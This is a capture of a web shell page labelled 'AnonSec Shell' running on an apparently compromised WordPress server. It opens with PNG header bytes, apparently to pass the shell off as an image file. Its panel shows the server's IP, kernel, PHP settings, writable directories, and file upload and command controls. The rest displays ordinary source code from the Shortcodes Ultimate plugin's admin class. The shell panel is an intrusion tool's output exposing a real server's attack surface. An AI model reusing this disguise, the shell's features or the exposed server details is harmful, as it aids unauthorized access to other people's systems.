‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/shortcodes-ultimate/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/shortcodes-ultimate/admin/class-shortcodes-ultimate-admin.php
<?php

/**
 * The abstract class for creating admin components.
 *
 * @since        5.0.0
 *
 * @package      Shortcodes_Ultimate
 * @subpackage   Shortcodes_Ultimate/admin
 */
abstract class Shortcodes_Ultimate_Admin {

	/**
	 * The path of the main plugin file.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      string    $plugin_file    The path of the main plugin file.
	 */
	protected $plugin_file;

	/**
	 * The current version of the plugin.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      string    $plugin_version    The current version of the plugin.
	 */
	protected $plugin_version;

	/**
	 * The prefix of the plugin.
	 *
	 * @since    5.0.8
	 * @access   protected
	 * @var      string      $plugin_prefix   The prefix of the plugin.
	 */
	protected $plugin_prefix;

	/**
	 * The URL of the plugin folder.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      string    $plugin_url    The URL of the plugin folder.
	 */
	protected $plugin_url;

	/**
	 * The path to the plugin folder.
	 *
	 * @since    5.1.0
	 * @access   private
	 * @var      string      $plugin_path   The path to the plugin folder.
	 */
	private $plugin_path;

	/**
	 * User capability required to access admin pages.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      string    $capability    User capability required to access admin pages.
	 */
	protected $capability;

	/**
	 * The plugin's pages collection.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      array     $plugin_menu_pages   The plugin's pages collection.
	 */
	static protected $plugin_menu_pages;

	/**
	 * The hook_suffix of the component menu page.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      array     $component_hook_suffix   The hook_suffix of the component menu page.
	 */
	protected $component_hook_suffix;

	/**
	 * The URL of the component menu page.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      array     $component_url   The URL of the component menu page.
	 */
	protected $component_url;

	/**
	 * Component tabs collection.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @var      array     $component_tabs   Component tabs collection.
	 */
	protected $component_tabs;

	/**
	 * Initialize the class and set its properties.
	 *
	 * @since  5.0.0
	 * @access protected
	 * @param string  $plugin_file    The path of the main plugin file.
	 * @param string  $plugin_version The current version of the plugin.
	 * @param string  $plugin_prefix  The prefix of the plugin.
	 */
	public function __construct( $plugin_file, $plugin_version, $plugin_prefix ) {

		$this->plugin_file           = $plugin_file;
		$this->plugin_version        = $plugin_version;
		$this->plugin_prefix         = $plugin_prefix;
		$this->plugin_url            = plugin_dir_url( $plugin_file );
		$this->plugin_path           = plugin_dir_path( $plugin_file );
		$this->capability            = 'manage_options';
		$this->component_url         = null;
		$this->component_hook_suffix = null;
		$this->component_tabs        = array();
		self::$plugin_menu_pages     = (array) self::$plugin_menu_pages;

	}

	/**
	 * Register menu pages.
	 *
	 * @since   5.0.0
	 */
	public function add_menu_pages() {}

	/**
	 * Register settings.
	 *
	 * @since   5.0.8
	 */
	public function add_settings() {}

	/**
	 * Enqueue JavaScript(s) and Stylesheet(s) for the component.
	 *
	 * @since   5.0.0
	 */
	public function enqueue_scripts() {}

	/**
	 * Add a top-level menu page.
	 *
	 * @since  5.0.0
	 * @uses  add_menu_page
	 * @access protected
	 * @param string  $page_title The text to be displayed in the title tags of the page when the menu is selected.
	 * @param string  $menu_title The text to be used for the menu.
	 * @param string  $capability The capability required for this menu to be displayed to the user.
	 * @param string  $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
	 * @param callable $function   The function to be called to output the content for this page.
	 * @param string  $icon_url   The URL to the icon to be used for this menu.
	 * @param int     $position   The position in the menu order this one should appear.
	 */
	final protected function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) {

		$hook_suffix = add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position );

		self::$plugin_menu_pages[]   = $hook_suffix;
		$this->component_hook_suffix = $hook_suffix;

		$this->component_url = menu_page_url( $menu_slug, false );

	}

	/**
	 * Add a submenu page.
	 *
	 * @since  5.0.0
	 * @uses add_submenu_page
	 * @access protected
	 * @param string  $parent_slug The slug name for the parent menu (or the file name of a standard WordPress admin page).
	 * @param string  $page_title  The text to be displayed in the title tags of the page when the menu is selected.
	 * @param string  $menu_title  The text to be used for the menu.
	 * @param string  $capability  The capability required for this menu to be displayed to the user.
	 * @param string  $menu_slug   The slug name to refer to this menu by (should be unique for this menu).
	 * @param callable $function    The function to be called to output the content for this page.
	 */
	final protected function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {

		$hook_suffix = add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function );

		self::$plugin_menu_pages[]   = $hook_suffix;
		$this->component_hook_suffix = $hook_suffix;

		$this->component_url = menu_page_url( $menu_slug, false );

	}

	/**
	 * Common callback for all menu pages.
	 *
	 * This method retrieves current page slug from $_GET and loads appropriate
	 * template.
	 *
	 * @since    5.0.0
	 * @return   string   Settings pages markup.
	 */
	public function the_menu_page() {

		// Sanitize current page slug
		$page = sanitize_title( $_GET['page'], false );

		// Replace plugin slug with template prefix
		$page = str_replace( $this->plugin_prefix, '', $page );

		$this->the_template( 'admin/partials/pages/' . $page );

	}

	/**
	 * Display settings section.
	 *
	 * @param mixed   $args Settings section data.
	 * @since  5.0.8
	 */
	public function the_settings_section( $args ) {

		$section = str_replace( $this->plugin_prefix, '', $args['id'] );

		$this->the_template( 'admin/partials/settings/sections/' . $section, $args );

	}

	/**
	 * Display settings field.
	 *
	 * @param mixed   $args The field data.
	 * @since  5.0.8
	 */
	public function the_settings_field( $args ) {
		$this->the_template( 'admin/partials/settings/fields/' . $args['type'], $args );
	}

	/**
	 * Helper function to check component's menu page hook_suffix
	 *
	 * @since  5.0.0
	 * @return boolean Returns true if current screen is the component's menu page
	 */
	protected function is_component_page() {

		$screen = get_current_screen();

		return $screen->id === $this->get_component_hook_suffix();

	}

	/**
	 * Retrieve the title of the current admin screen.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @return   string   The title of the current admin screen.
	 */
	protected function get_page_title() {

		return sprintf(
			'%s &rsaquo; %s',
			__( 'Shortcodes Ultimate', 'shortcodes-ultimate' ),
			get_admin_page_title()
		);

	}

	/**
	 * Display the title of the current admin screen.
	 *
	 * @since    5.0.0
	 * @access   protected
	 */
	public function the_page_title() {
		echo $this->get_page_title();
	}

	/**
	 * Retrieve tabs collection.
	 *
	 * @since  5.0.0
	 * @return array Component tabs collection.
	 */
	protected function get_tabs() {
		return $this->component_tabs;
	}

	/**
	 * Retrieve the current tab ID
	 *
	 * @since  5.0.0
	 * @return string Current tab ID
	 */
	protected function get_current_tab() {

		if ( empty( $_GET['tab'] ) ) {
			return $this->get_first_tab();
		}

		if ( ! array_key_exists( $_GET['tab'], $this->get_tabs() ) ) {
			return $this->get_first_tab();
		}

		return sanitize_key( $_GET['tab'] );

	}

	/**
	 * Retrieve the ID of the first tab.
	 *
	 * @since  5.0.0
	 * @return string The ID of the first tab.
	 */
	protected function get_first_tab() {

		foreach ( $this->get_tabs() as $tab_id => $tab_title ) {
			return $tab_id;
		}

	}

	/**
	 * Retrieve the tab URL by ID
	 *
	 * @param string  $tab Tab ID
	 * @return string      The tab's URL
	 */
	protected function get_tab_url( $tab = null ) {

		$url = add_query_arg( 'tab', $tab, $this->get_component_url() );

		return esc_url_raw( $url );

	}

	/**
	 * Retrieve user capability required to access admin pages.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @return   string   User capability required to access admin pages.
	 */
	protected function get_capability() {
		return apply_filters( 'su/admin/capability', $this->capability );
	}

	/**
	 * Retrieve the plugin menu pages.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @return   array   The plugin menu pages.
	 */
	protected function get_plugin_menu_pages() {
		return self::$plugin_menu_pages;
	}

	/**
	 * Retrieve the hook_suffix of the component menu page.
	 *
	 * @since    5.0.0
	 * @return   array   The hook_suffix of the component menu page.
	 */
	public function get_component_hook_suffix() {
		return $this->component_hook_suffix;
	}

	/**
	 * Retrieve the URL of the component menu page.
	 *
	 * @since    5.0.0
	 * @access   protected
	 * @return   array   The URL of the component menu page.
	 */
	public function get_component_url() {
		return $this->component_url;
	}

	/**
	 * Callback function to sanitize checkbox value.
	 *
	 * @since  5.0.0
	 * @param mixed   $value String 'on' or null.
	 * @return string        Sanitized checkbox value ('on' or empty string '').
	 */
	public function sanitize_checkbox( $value ) {
		return ! empty( $value ) && 'on' === $value ? 'on' : '';
	}

	/**
	 * Callback function to sanitize checkbox-group value.
	 *
	 * @since  5.1.0
	 * @param mixed   $value Array with selected checkboxes or null.
	 * @return string        Array with selected checkbox IDs, each sanitized.
	 */
	public function sanitize_checkbox_group( $value ) {
		return array_map( 'sanitize_text_field', array_keys( (array) $value ) );
	}

	/**
	 * Callback function to sanitize prefix value.
	 *
	 * @since  5.0.1
	 * @param string  $prefix Prefix value.
	 * @return string          Sanitized string.
	 * @see  https://developer.wordpress.org/reference/functions/add_shortcode/ Source of the RegExp.
	 */
	public function sanitize_prefix( $prefix ) {
		return preg_replace( '@[<>&/\[\]\x00-\x20="\']@', '', $prefix );
	}

	/**
	 * Utility function to get specified template by it's name.
	 *
	 * @since 5.0.0
	 * @param string  $name Template name without extension.
	 * @param mixed   $data Data to be available from within template.
	 * @return string       Template content. Returns empty string if template name is invalid or template file wasn't found.
	 */
	public function get_template( $name = '', $data = array() ) {

		// Validate template name
		if ( preg_match( "/^(?!-)[a-z0-9-_]+(?<!-)(\/(?!-)[a-z0-9-_]+(?<!-))*$/", $name ) !== 1 ) {
			return '';
		}

		// The full path to template file
		$file = $this->plugin_path . $name . '.php';

		// Look for a specified file
		if ( file_exists( $file ) ) {

			ob_start();
			include $file;
			$template = ob_get_contents();
			ob_end_clean();

		}

		return isset( $template ) ? $template : '';

	}


	/**
	 * Utility function to display specified template by it's name.
	 *
	 * @since 5.0.0
	 * @param string  $name Template name (without extension).
	 * @param mixed   $data Template data to be passed to the template.
	 */
	public function the_template( $name, $data = null ) {
		echo $this->get_template( $name, $data );
	}

}

Anon7 - 2022
AnonSec Team